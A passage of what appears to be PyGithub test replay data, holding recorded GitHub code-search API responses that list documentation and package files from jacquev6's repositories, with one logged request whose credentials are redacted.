l/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/Pynamixel/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/Pynamixel/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/Pynamixel/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/Pynamixel/deployments"},"score":30.567461},{"name":"index.html","path":"docs/index.html","sha":"8ca909d8491abfbc39058d33b5e89e14b5baf1c6","url":"https://api.github.com/repositories/34715715/contents/docs/index.html?ref=2177eaa753a518b4c7c7f4b28e955b2c81b30925","git_url":"https://api.github.com/repositories/34715715/git/blobs/8ca909d8491abfbc39058d33b5e89e14b5baf1c6","html_url":"https://github.com/jacquev6/variadic/blob/2177eaa753a518b4c7c7f4b28e955b2c81b30925/docs/index.html","repository":{"id":34715715,"node_id":"MDEwOlJlcG9zaXRvcnkzNDcxNTcxNQ==","name":"variadic","full_name":"jacquev6/variadic","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/variadic","description":"Python decorator for very-variadic functions","fork":false,"url":"https://api.github.com/repos/jacquev6/variadic","forks_url":"https://api.github.com/repos/jacquev6/variadic/forks","keys_url":"https://api.github.com/repos/jacquev6/variadic/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/variadic/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/variadic/teams","hooks_url":"https://api.github.com/repos/jacquev6/variadic/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/variadic/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/variadic/events","assignees_url":"https://api.github.com/repos/jacquev6/variadic/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/variadic/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/variadic/tags","blobs_url":"https://api.github.com/repos/jacquev6/variadic/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/variadic/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/variadic/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/variadic/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/variadic/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/variadic/languages","stargazers_url":"https://api.github.com/repos/jacquev6/variadic/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/variadic/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/variadic/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/variadic/subscription","commits_url":"https://api.github.com/repos/jacquev6/variadic/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/variadic/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/variadic/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/variadic/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/variadic/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/variadic/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/variadic/merges","archive_url":"https://api.github.com/repos/jacquev6/variadic/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/variadic/downloads","issues_url":"https://api.github.com/repos/jacquev6/variadic/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/variadic/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/variadic/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/variadic/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/variadic/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/variadic/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/variadic/deployments"},"score":30.565767},{"name":"search.html","path":"docs/search.html","sha":"8d0121aad54dcd0af48dceb0b9117cb33aad7a16","url":"https://api.github.com/repositories/100627412/contents/docs/search.html?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/8d0121aad54dcd0af48dceb0b9117cb33aad7a16","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/docs/search.html","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":30.550869},{"name":"user_guide.html","path":"docs/user_guide.html","sha":"cbc47d1035173fc0ffc88a5f7bf1eb869cb16a5b","url":"https://api.github.com/repositories/100627412/contents/docs/user_guide.html?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/cbc47d1035173fc0ffc88a5f7bf1eb869cb16a5b","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/docs/user_guide.html","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":30.550869},{"name":"index.html","path":"docs/index.html","sha":"b28fd3e041d41dfb3d2c68c93969ce2c32521480","url":"https://api.github.com/repositories/6518903/contents/docs/index.html?ref=16a493a59c2e22812c8b4545b11be4b6ca4e38d3","git_url":"https://api.github.com/repositories/6518903/git/blobs/b28fd3e041d41dfb3d2c68c93969ce2c32521480","html_url":"https://github.com/jacquev6/ActionTree/blob/16a493a59c2e22812c8b4545b11be4b6ca4e38d3/docs/index.html","repository":{"id":6518903,"node_id":"MDEwOlJlcG9zaXRvcnk2NTE4OTAz","name":"ActionTree","full_name":"jacquev6/ActionTree","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/ActionTree","description":"Python library executing long concurrent actions with inter-dependencies","fork":false,"url":"https://api.github.com/repos/jacquev6/ActionTree","forks_url":"https://api.github.com/repos/jacquev6/ActionTree/forks","keys_url":"https://api.github.com/repos/jacquev6/ActionTree/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/ActionTree/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/ActionTree/teams","hooks_url":"https://api.github.com/repos/jacquev6/ActionTree/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/ActionTree/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/ActionTree/events","assignees_url":"https://api.github.com/repos/jacquev6/ActionTree/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/ActionTree/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/ActionTree/tags","blobs_url":"https://api.github.com/repos/jacquev6/ActionTree/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/ActionTree/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/ActionTree/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/ActionTree/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/ActionTree/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/ActionTree/languages","stargazers_url":"https://api.github.com/repos/jacquev6/ActionTree/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/ActionTree/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/ActionTree/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/ActionTree/subscription","commits_url":"https://api.github.com/repos/jacquev6/ActionTree/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/ActionTree/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/ActionTree/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/ActionTree/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/ActionTree/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/ActionTree/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/ActionTree/merges","archive_url":"https://api.github.com/repos/jacquev6/ActionTree/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/ActionTree/downloads","issues_url":"https://api.github.com/repos/jacquev6/ActionTree/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/ActionTree/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/ActionTree/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/ActionTree/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/ActionTree/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/ActionTree/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/ActionTree/deployments"},"score":30.45334}]} https GET api.github.com None /search/code?q=jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Oct 2018 06:16:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '30'), ('X-RateLimit-Remaining', '26'), ('X-RateLimit-Reset', '1540275467'), ('Cache-Control', 'no-cache'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '6939:2CA0:426F21E:8BBD8CA:5BCEBCD2')] {"total_count":31140,"incomplete_results":false,"items":[{"name":"DESCRIPTION.rst","path":"ActionTree-0.11.0.dist-info/DESCRIPTION.rst","sha":"1c462fbf2ae5e3b5fca2e8b1ccdbdd4db0678412","url":"https://api.github.com/repositories/102808884/contents/ActionTree-0.11.0.dist-info/DESCRIPTION.rst?ref=5668b5785296b314ea1321057420bcd077dba9ea","git_url":"https://api.github.com/repositories/102808884/git/blobs/1c462fbf2ae5e3b5fca2e8b1ccdbdd4db0678412","html_url":"https://github.com/EnjoyLifeFund/macHighSierra-py36-pkgs/blob/5668b5785296b314ea1321057420bcd077dba9ea/ActionTree-0.11.0.dist-info/DESCRIPTION.rst","repository":{"id":102808884,"node_id":"MDEwOlJlcG9zaXRvcnkxMDI4MDg4ODQ=","name":"macHighSierra-py36-pkgs","full_name":"EnjoyLifeFund/macHighSierra-py36-pkgs","private":false,"owner":{"login":"EnjoyLifeFund","id":28683176,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4NjgzMTc2","avatar_url":"https://avatars2.githubusercontent.com/u/28683176?v=4","gravatar_id":"","url":"https://api.github.com/users/EnjoyLifeFund","html_url":"https://github.com/EnjoyLifeFund","followers_url":"https://api.github.com/users/EnjoyLifeFund/followers","following_url":"https://api.github.com/users/EnjoyLifeFund/following{/other_user}","gists_url":"https://api.github.com/users/EnjoyLifeFund/gists{/gist_id}","starred_url":"https://api.github.com/users/EnjoyLifeFund/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnjoyLifeFund/subscriptions","organizations_url":"https://api.github.com/users/EnjoyLifeFund/orgs","repos_url":"https://api.github.com/users/EnjoyLifeFund/repos","events_url":"https://api.github.com/users/EnjoyLifeFund/events{/privacy}","received_events_url":"https://api.github.com/users/EnjoyLifeFund/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/EnjoyLifeFund/macHighSierra-py36-pkgs","description":null,"fork":false,"url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs","forks_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/forks","keys_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/keys{/key_id}","collaborators_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/teams","hooks_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/hooks","issue_events_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/issues/events{/number}","events_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/events","assignees_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/assignees{/user}","branches_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/branches{/branch}","tags_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/tags","blobs_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/refs{/sha}","trees_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/trees{/sha}","statuses_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/statuses/{sha}","languages_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/languages","stargazers_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/stargazers","contributors_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/contributors","subscribers_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/subscribers","subscription_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/subscription","commits_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/commits{/sha}","git_commits_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/commits{/sha}","comments_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/comments{/number}","issue_comment_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/issues/comments{/number}","contents_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/contents/{+path}","compare_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/compare/{base}...{head}","merges_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/merges","archive_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/downloads","issues_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/issues{/number}","pulls_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/pulls{/number}","milestones_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/milestones{/number}","notifications_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/labels{/name}","releases_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/releases{/id}","deployments_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/deployments"},"score":33.244354},{"name":"README.rst","path":"README.rst","sha":"4205af5188855e0def0132920f3d289e2e058e8e","url":"https://api.github.com/repositories/100627412/contents/README.rst?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/4205af5188855e0def0132920f3d289e2e058e8e","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/README.rst","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":33.164326},{"name":"METADATA","path":"ActionTree-0.11.0.dist-info/METADATA","sha":"67b25808ccbc8af98830dc0091b44c58814f3da4","url":"https://api.github.com/repositories/102808884/contents/ActionTree-0.11.0.dist-info/METADATA?ref=5668b5785296b314ea1321057420bcd077dba9ea","git_url":"https://api.github.com/repositories/102808884/git/blobs/67b25808ccbc8af98830dc0091b44c58814f3da4","html_url":"https://github.com/EnjoyLifeFund/macHighSierra-py36-pkgs/blob/5668b5785296b314ea1321057420bcd077dba9ea/ActionTree-0.11.0.dist-info/METADATA","repository":{"id":102808884,"node_id":"MDEwOlJlcG9zaXRvcnkxMDI4MDg4ODQ=","name":"macHighSierra-py36-pkgs","full_name":"EnjoyLifeFund/macHighSierra-py36-pkgs","private":false,"owner":{"login":"EnjoyLifeFund","id":28683176,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4NjgzMTc2","avatar_url":"https://avatars2.githubusercontent.com/u/28683176?v=4","gravatar_id":"","url":"https://api.github.com/users/EnjoyLifeFund","html_url":"https://github.com/EnjoyLifeFund","followers_url":"https://api.github.com/users/EnjoyLifeFund/followers","following_url":"https://api.github.com/users/EnjoyLifeFund/following{/other_user}","gists_url":"https://api.github.com/users/EnjoyLifeFund/gists{/gist_id}","starred_url":"https://api.github.com/users/EnjoyLifeFund/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnjoyLifeFund/subscriptions","organizations_url":"https://api.github.com/users/EnjoyLifeFund/orgs","repos_url":"https://api.github.com/users/EnjoyLifeFund/repos","events_url":"https://api.github.com/users/EnjoyLifeFund/events{/privacy}","received_events_url":"https://api.github.com/users/EnjoyLifeFund/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/EnjoyLifeFund/macHighSierra-py36-pkgs","description":null,"fork":false,"url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs","forks_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/forks","keys_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/keys{/key_id}","collaborators_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/teams","hooks_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/hooks